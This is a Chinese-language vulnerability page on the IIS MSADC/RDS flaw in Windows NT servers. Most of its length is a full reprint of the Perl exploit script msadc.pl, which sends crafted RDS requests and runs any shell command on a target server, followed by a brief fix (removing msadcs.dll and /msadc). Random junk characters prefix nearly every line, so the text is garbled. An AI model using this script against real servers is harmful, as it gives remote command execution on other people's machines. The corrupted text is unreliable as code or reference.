IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
3ucP(Ex@tg Sywu=b 涉及程序：
vP!GJX &n5 Microsoft NT server
s3s4OAY :
DG)g3# 描述：
&U HPX?x 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
}|)R
H Yr}wG 详细：
RH0>ZZR 如果你没有时间读详细内容的话，就删除:
%rQuBi# 1f c:\Program Files\Common Files\System\Msadc\msadcs.dll
QA!_} N4n 有关的安全问题就没有了。
-php6$| W 3W 'oo 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
w-B^
[< F^aR+m 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
4\t1mocCSN 关于利用ODBC远程漏洞的描述，请参看:
a[bB T@f Uh}seB#mJj http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm co 4h*?q ^^` Jcd/ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
/{2*WI; http://www.microsoft.com/security/bulletins/MS99-025faq.asp }]1BO XhzGLYb~I` 这里不再论述。
-a Gcf]6 0X2@CPIFf 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
?C0l~:j7D z( uZ F3 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
$Kj&)&M 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
3CjL\pIC FxG7Pk+= R x36?/ #将下面这段保存为txt文件，然后: "perl -x 文件名"
_;A $C( [mxTa\ #!perl
UnDgu4#R`A #
/T^ JS # MSADC/RDS 'usage' (aka exploit) script
ylf[/='0K #
inPJ2uBD\^ # by rain.forest.puppy
)Ag/Qep #
.N4 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
:^ i9] # beta test and find errors!
6< J
#^ 6 RI M `omM use Socket; use Getopt::Std;
h 6G /O`: getopts("e:vd:h:XR", \%args);
H J?+A-n/ I0AJY
)R print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
kpw t]]e* \ A1uhHP! if (!defined $args{h} && !defined $args{R}) {
>4m'tZ8 print qq~
#yseiVm; Usage: msadc.pl -h <host> { -d <delay> -X -v }
-
N>MBn -h <host> = host you want to scan (ip or domain)
5 v^yQ<70 -d <seconds> = delay between calls, default 1 second
gV1[3dW -X = dump Index Server path table, if available
Q0?\]2eet9 -v = verbose
wyx(FinIH -e = external dictionary file for step 5
J`M&{U P w mNH T _ Or a -R will resume a command session
8GPIZh'0 h `i ,_aFB| ~; exit;}
=+5,B\~q@C U8#xgz@ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
A % Q!^d if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
] U@o0 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
yAT^VRbv if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
yn
AB $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
hjZ}C +=O if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
kEeo5X N 9 A,Z|q/z5 if (!defined $args{R}){ $ret = &has_msadc;
;?fS(Vz~ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
B@Co'DV[/] }/dRU${! print "Please type the NT commandline you want to run (cmd /c assumed):\n"
f8 /'%$N . "cmd /c ";
$ aCd/& $in=<STDIN>; chomp $in;
*YTo{~ $command="cmd /c " . $in ;
# m R4fst #$~ba %t9% if (defined $args{R}) {&load; exit;}
.%BT,$1K zr v] print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
+'@+x'/{^ &try_btcustmr;
Zd^6ulx }_ tl n print "\nStep 2: Trying to make our own DSN...";
A$0H
.F> &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
V!%jf:k 'XQ`g CF= print "\nStep 3: Trying known DSNs...";
Mi T}L &known_dsn;
DDT_kK; wZT% Ee\D% print "\nStep 4: Trying known .mdbs...";
5V[oE\B &known_mdb;
k- V ,~c ^VW
PdH/Fe if (defined $args{e}){
@[<nQZw: print "\nStep 5: Trying dictionary of DSN names...";
K`&oC8p &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
CQ7{1,?2 C fEmT8sa print "Sorry Charley...maybe next time?\n";
_cT h#t ^ exit;
X5fmz%VK@ [AH 6~-\ x ##############################################################################
>F jR9B L$'[5"ma
; sub sendraw { # ripped and modded from whisker
|Z\R*b" sleep($delay); # it's a DoS on the server! At least on mine...
3uU]kD^ my ($pstr)=@_;
@Q&3L~K" socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
eg<bi@C1| die("Socket problems\n");
a)Q!'$"'
if(connect(S,pack "SnA4x8",2,80,$target)){
] $ afC!Z select(S); $|=1;
AT2v!mNyCw print $pstr; my @in=<S>;
/[:d p< select(STDOUT); close(S);
UX-&/eScN return @in;
$p!yhn7 } else { die("Can't connect...\n"); }}
&uP~rEJl+ 7*j
(* ##############################################################################
nKR{u g>I) 4${jr\q] sub make_header { # make the HTTP request
WPZ?*S x my $msadc=<<EOT
s,bERN7'yO POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
*vgl*k?) User-Agent: ACTIVEDATA
Z nFi<@UB) Host: $ip
,h|q i[7 Content-Length: $clen
R [H+qr Connection: Keep-Alive
tH=P6vY a{!QOX%K ADCClientVersion:01.06
&aM7T_h8 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
,F&g5' NmK8<9`u --!ADM!ROX!YOUR!WORLD!
#T`t79*N Content-Type: application/x-varg
js1!9%BV Content-Length: $reqlen
Sxjub& = Y V=QF
J' EOT
f}guv~K ; $msadc=~s/\n/\r\n/g;
d0'J C* return $msadc;}
'|;X0fD im QUR C ##############################################################################
y A{ W 3+ >G#W~ sub make_req { # make the RDS request
Y *_)h\f my ($switch, $p1, $p2)=@_;
' B+ ' (f my $req=""; my $t1, $t2, $query, $dsn;
|t$Ma'P +cb6?? H if ($switch==1){ # this is the btcustmr.mdb query
0$r^C6}f $query="Select * from Customers where City=" . make_shell();
t|t#vcB $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
iy""(c $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
5s(1[ ( L(GjZAP elsif ($switch==2){ # this is general make table query
Ym;*Y !~[ $query="create table AZZ (B int, C varchar(10))";
E2)h ?cs $dsn="$p1";}
w+1Gs
; [qsEUc+Z.' elsif ($switch==3){ # this is general exploit table query
Z{'i F $query="select * from AZZ where C=" . make_shell();
Y^<bl2"y8 $dsn="$p1";}
@cU&n6C@ {Ay"bjZh elsif ($switch==4){ # attempt to hork file info from index server
[w ;kkMJAy $query="select path from scope()";
OtFh,}E $dsn="Provider=MSIDXS;";}
hy|b6wF& D7_*k%; @ elsif ($switch==5){ # bad query
F;^F+H $query="select";
9mZ $dsn="$p1";}
=B. F;4 0 )8g(:`w $t1= make_unicode($query);
8QMPY[{ $t2= make_unicode($dsn);
~/j\Z $req = "\x02\x00\x03\x00";
jt+iv*2N> $req.= "\x08\x00" . pack ("S1", length($t1));
-*.-9B~ u $req.= "\x00\x00" . $t1 ;
s+>:,U<A $req.= "\x08\x00" . pack ("S1", length($t2));
E!S 78 z: $req.= "\x00\x00" . $t2 ;
$AHQmyg< $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
\ TU3rk&X return $req;}
tDUwy^j ID/ F ##############################################################################
p,"g+ MwP ut r: J sub make_shell { # this makes the shell() statement
Agrk|wPK return "'|shell(\"$command\")|'";}
)=Jk@yj8x 6-O_\Cq8 ##############################################################################
@IXsy mc4i@<_ ? sub make_unicode { # quick little function to convert to unicode
{T].]7Z my ($in)=@_; my $out;
.`&F>o(A for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
$ tl\UH7%2 return $out;}
NVRLrJWpp z?35=%~w ##############################################################################
Ha )ANAD @V!r"Bkg. sub rdo_success { # checks for RDO return success (this is kludge)
K$d $m < my (@in) = @_; my $base=content_start(@in);
OrK&RC if($in[$base]=~/multipart\/mixed/){
++E 3] X| return 1 if( $in[$base+10]=~/^\x09\x00/ );}
8g7<KKw return 0;}
K<>sOWZ'S f7}*X|_Y ##############################################################################
)+fh-Ui yq$,,#XDD= sub make_dsn { # this makes a DSN for us
h yv2SxP* my @drives=("c","d","e","f");
]LM-@G+Jz print "\nMaking DSN: ";
b".L_Ma1* foreach $drive (@drives) {
bcupo:N print "$drive: ";
?R$&Xe!5 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
"!EcbR "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
H$6`{l x, . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
0Zg%+)iy@ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
//aF5 :Y# return 0 if $2 eq "404"; # not found/doesn't exist
/soKucN"h if($2 eq "200") {
n ? c]M foreach $line (@results) {
^4o;$u4R return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
S .a% } return 0;}
O]m+u nWHa .H# ##############################################################################
jQ)T6 7 !Ta>U^ 7 sub verify_exists {
C oA6 my ($page)=@_;
x+]\1p my @results=sendraw("GET $page HTTP/1.0\n\n");
!Xph_SQ!B= return $results[0];}
^7Fh{q4IE %D[0nt|X ##############################################################################
v En4L0D ^k\e8F/ sub try_btcustmr {
k]I0o)+O. my @drives=("c","d","e","f");
+k>.Q0n%m my @dirs=("winnt","winnt35","winnt351","win","windows");
ZGd!IghL ~ _ !F01s foreach $dir (@dirs) {
u #@Q:tnN_ print "$dir -> "; # fun status so you can see progress
yR\btx|e5~ foreach $drive (@drives) {
SZXY/~=h print "$drive: "; # ditto
G2FXrkU $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Nj 00W1 $reqlenlen=length( "$reqlen" );
+="e]Yh; $clen= 206 + $reqlenlen + $reqlen;
)=e tG mN19WQ(r my @results=sendraw(make_header() . make_req(1,$drive,$dir));
n9xAPB } if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
piZJJYv t else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
9U%N@Dq`Z :*2ud ( ##############################################################################
1&U>,;]* \(vY%DL1: sub odbc_error {
h?azFA~ my (@in)=@_; my $base;
XSZ k%_ my $base = content_start(@in);
'3 ^+{=q if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
*C:|X b<9 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
,xx R \} $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
NSDv ;|f $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
`kJ^zw+ return $in[$base+4].$in[$base+5].$in[$base+6];}
MHC^8VL print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
=%BZ9,l print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
|x-S&- $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
X7g1:L1Ys d B5b@9* ##############################################################################
..R-Ms)k= q+ vx_4 sub verbose {
qm8&*UuKJ my ($in)=@_;
AD<q%pu&H? return if !$verbose;
se>MQM5 ) print STDOUT "\n$in\n";}
]V#M%0:Q82 4BKI-;v$ ##############################################################################
; IokThI 6ZQwBS0Y sub save {
r|qp3x my ($p1, $p2, $p3, $p4)=@_;
aWY
gR open(OUT, ">rds.save") || print "Problem saving parameters...\n";
=HlQ36;* print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
*NCl fk Z close OUT;}
}-sdov<< C-H@8p?T ##############################################################################
os]8BScx #hsx#x|| sub load {
9*1,!%] my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
g #6E|n open(IN,"<rds.save") || die("Couldn't open rds.save\n");
z21|Dhiw& @p=<IN>; close(IN);
fL=~NC" $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
[a
wjio $target= inet_aton($ip) || die("inet_aton problems");
SrK) t.oK print "Resuming to $ip ...";
sU{NHC)5 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
k-{<=>uM if($p[1]==1) {
)(384@'"u $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
t?'!$6 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
!_cg\K U# my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
uD @# if (rdo_success(@results)){print "Success!\n";}
?pB>0b~3- else { print "failed\n"; verbose(odbc_error(@results));}}
dKxyA"@ elsif ($p[1]==3){
Evjj"h&0J if(run_query("$p[3]")){
L=sYLC6d print "Success!\n";} else { print "failed\n"; }}
3skC$mpJHw elsif ($p[1]==4){
7*Ej. HK if(run_query($drvst . "$p[3]")){
57&b:0`p print "Success!\n"; } else { print "failed\n"; }}
suzZdkMA exit;}
k+ty>bP= 1BpiV-]=
##############################################################################
RpD=]y!5_ j?x>_#tIY sub create_table {
CyXR i}W. my ($in)=@_;
"\o+v|; $reqlen=length( make_req(2,$in,"") ) - 28;
z-.+x3&o @ $reqlenlen=length( "$reqlen" );
m~-K[+ya`D $clen= 206 + $reqlenlen + $reqlen;
5E zw
~hn my @results=sendraw(make_header() . make_req(2,$in,""));
n' q4 return 1 if rdo_success(@results);
WL?\5?G 9l my $temp= odbc_error(@results); verbose($temp);
ei [j1F return 1 if $temp=~/Table 'AZZ' already exists/;
.jk@IL return 0;}
=aBctd:eX` ;CPr]avY ##############################################################################
mSb# Nn6W LH8 fBhw sub known_dsn {
0,89H4 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
B=^)Ub5' my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
m ;GbLncA "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
[k;\S XDZo "banner", "banners", "ads", "ADCDemo", "ADCTest");
<#u=[_H n
T{3o;A foreach $dSn (@dsns) {
#x 177I\ print ".";
sE Q=dcK next if (!is_access("DSN=$dSn"));
#\ X#w<\? if(create_table("DSN=$dSn")){
J :V 6 print "$dSn successful\n";
)\J+Kiy) if(run_query("DSN=$dSn")){
\1fN0e print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
5n9B?T8C print "Something's borked. Use verbose next time\n";}}} print "\n";}
+~mA}psr I J( ##############################################################################
0+kH:dP{ <FcG
oGK sub is_access {
`\#B18eU my ($in)=@_;
NnDxq%l% $reqlen=length( make_req(5,$in,"") ) - 28;
@M_oH:GV $reqlenlen=length( "$reqlen" );
CzRc%%BA $clen= 206 + $reqlenlen + $reqlen;
%'s>QF]' my @results=sendraw(make_header() . make_req(5,$in,""));
odjT:Vr my $temp= odbc_error(@results);
iB%gPoDCL@ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
7 /VK# #z return 0;}
B"TAjB&
* Z7hgA-t ##############################################################################
_/ 6!yyl ,y
2$cO_> sub run_query {
VcSV u my ($in)=@_;
Rn9m]x $reqlen=length( make_req(3,$in,"") ) - 28;
,!Z *5 $reqlenlen=length( "$reqlen" );
{f2S/$q $clen= 206 + $reqlenlen + $reqlen;
T" E6y"D my @results=sendraw(make_header() . make_req(3,$in,""));
O4cr*MCb5 return 1 if rdo_success(@results);
<UV1!2nv* my $temp= odbc_error(@results); verbose($temp);
-EkWs/'h return 0;}
T`\x,`
^ VC\ S'z ##############################################################################
$Q96,rb}k; jr /pj? sub known_mdb {
;CmS ~K: my @drives=("c","d","e","f","g");
+;N2p1ZBf my @dirs=("winnt","winnt35","winnt351","win","windows");
b F"G[pD my $dir, $drive, $mdb;
5q;GIw^L my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
snf ~}:& aB{vFTD5 # this is sparse, because I don't know of many
s:#V(<J my @sysmdbs=( "\\catroot\\icatalog.mdb",
J' SZ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
5_I->-< "\\system32\\certmdb.mdb",
} z _ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
E*V `":efS K9$ >Yxe| my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
E:JJ3X| "\\cfusion\\cfapps\\forums\\forums_.mdb",
juka0/ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
6y+Kjd/D "\\cfusion\\cfapps\\security\\realm_.mdb",
`\T]ej}zvI "\\cfusion\\cfapps\\security\\data\\realm.mdb",
# (#Wv?r6 "\\cfusion\\database\\cfexamples.mdb",
_aFl_\3> "\\cfusion\\database\\cfsnippets.mdb",
R7$:@<:g "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
)0" wB "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
B_nVP "\\cfusion\\brighttiger\\database\\cleam.mdb",
\Xm,OE_v" "\\cfusion\\database\\smpolicy.mdb",
~$:|VHl "\\cfusion\\database\cypress.mdb",
Ne8Cgp "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
-8:&>~4` "\\website\\cgi-win\\dbsample.mdb",
M)' HCnvs' "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
<j*;.yyC "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
*z!!zRh3x ); #these are just
y TfA S . foreach $drive (@drives) {
T]l_B2. foreach $dir (@dirs){
Z"<aS&GH foreach $mdb (@sysmdbs) {
JEL =,0J print ".";
!([Q1r{u if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
:?2+'+%' print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
oM/(&" if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
^} P| L print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
X[\b!<C } else { print "Something's borked. Use verbose next time\n"; }}}}}
g^OU+ 7o o qH811 foreach $drive (@drives) {
n*(Vf'k foreach $mdb (@mdbs) {
R ,-y print ".";
:[ z=u if(create_table($drv . $drive . $dir . $mdb)){
}\k"azQ` print "\n" . $drive . $dir . $mdb . " successful\n";
xWWfts1t if(run_query($drv . $drive . $dir . $mdb)){
|q" WJQ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
.<} (J#vC } else { print "Something's borked. Use verbose next time\n"; }}}}
pV]m6! y& }
p(in.Xz R}I MX9M= ##############################################################################
Y4e64`V) *xR;}%s\ sub hork_idx {
Z [<rz6%cB print "\nAttempting to dump Index Server tables...\n";
Aq@_^mq1A print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
hG . >> $reqlen=length( make_req(4,"","") ) - 28;
c-.t8X,5(~ $reqlenlen=length( "$reqlen" );
zc>/1>? M $clen= 206 + $reqlenlen + $reqlen;
, TPNsz|Q my @results=sendraw2(make_header() . make_req(4,"",""));
E5qh]z ( if (rdo_success(@results)){
??0C"8:[ my $max=@results; my $c; my %d;
= Bo (*% for($c=19; $c<$max; $c++){
NPc]/n?vDj $results[$c]=~s/\x00//g;
5 fY\0 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
0j\?zt? $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
:=Wi T_M $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
`p1szZD& $d{"$1$2"}="";}
ImO\X`{ foreach $c (keys %d){ print "$c\n"; }
q'~ ?azg: } else {print "Index server doesn't seem to be installed.\n"; }}
a<9 gD,] P yk cW>h ##############################################################################
:%cL(',Q g BfYm sub dsn_dict {
.^j 6 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
F`KA^ZI while(<IN>){
t :NTk( $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
+>mbBu!7 next if (!is_access("DSN=$dSn"));
Lsa&A+fru if(create_table("DSN=$dSn")){
:#W40rUb print "$dSn successful\n";
W tOpxAq if(run_query("DSN=$dSn")){
9SF2 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
S\=j; Uem print "Something's borked. Use verbose next time\n";}}}
_ #]uk&5a print "\n"; close(IN);}
ZD\`~I|gp tj/X 7| ##############################################################################
;1Pn bU b B@g 0QgA sub sendraw2 { # ripped and modded from whisker
>MD['=J[d sleep($delay); # it's a DoS on the server! At least on mine...
5VI c my ($pstr)=@_;
oe,I vnt socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
R&}"En`$s die("Socket problems\n");
\|9 @*]6: if(connect(S,pack "SnA4x8",2,80,$target)){
:ad print "Connected. Getting data";
H0<(j(JK open(OUT,">raw.out"); my @in;
wz^Q,Od select(S); $|=1; print $pstr;
1xN6V-qk while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
'L|& qy@ close(OUT); select(STDOUT); close(S); return @in;
&|>CW:)&1" } else { die("Can't connect...\n"); }}
3aIP^I1 Sc03vfmo"N ##############################################################################
*ue-
x!"c wGdnv}# sub content_start { # this will take in the server headers
^Xv_y+ my (@in)=@_; my $c;
GPBp.$q+B for ($c=1;$c<500;$c++) {
1OB,UU"S$ if($in[$c] =~/^\x0d\x0a/){
a+A^njk if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
I3 /^{-n else { return $c+1; }}}
+vOlA#t%Z return -1;} # it should never get here actually
S+(TRIj k PwP;+R};| ##############################################################################
'< !
b}1w0 A9Cq(L_H sub funky {
W4n;U-Hb my (@in)=@_; my $error=odbc_error(@in);
CqW:m*c if($error=~/ADO could not find the specified provider/){
U9k;)fK print "\nServer returned an ADO miscofiguration message\nAborting.\n";
HKu ? J exit;}
J2A+x \{< if($error=~/A Handler is required/){
Z*&y8;vUQ print "\nServer has custom handler filters (they most likely are patched)\n";
wdS4iQD exit;}
5(BB` ) if($error=~/specified Handler has denied Access/){
GIXxO ea1 print "\nServer has custom handler filters (they most likely are patched)\n";
n^F:p*)Q% exit;}}
QTZf e<m0 4n6EkTa ##############################################################################
.m--# r g\9I&z~? sub has_msadc {
p4l ^b[p my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
hcWYz my $base=content_start(@results);
zxN,ys return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
k?(x}IZdG return 0;}
_X
?W)]: ;. jnRPo"; ########################
Ns?qL SN h)S22 3[ kmfz=q? 解决方案：
Wh PwD6l> 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
tJ:]ne 2、移除web 目录: /msadc
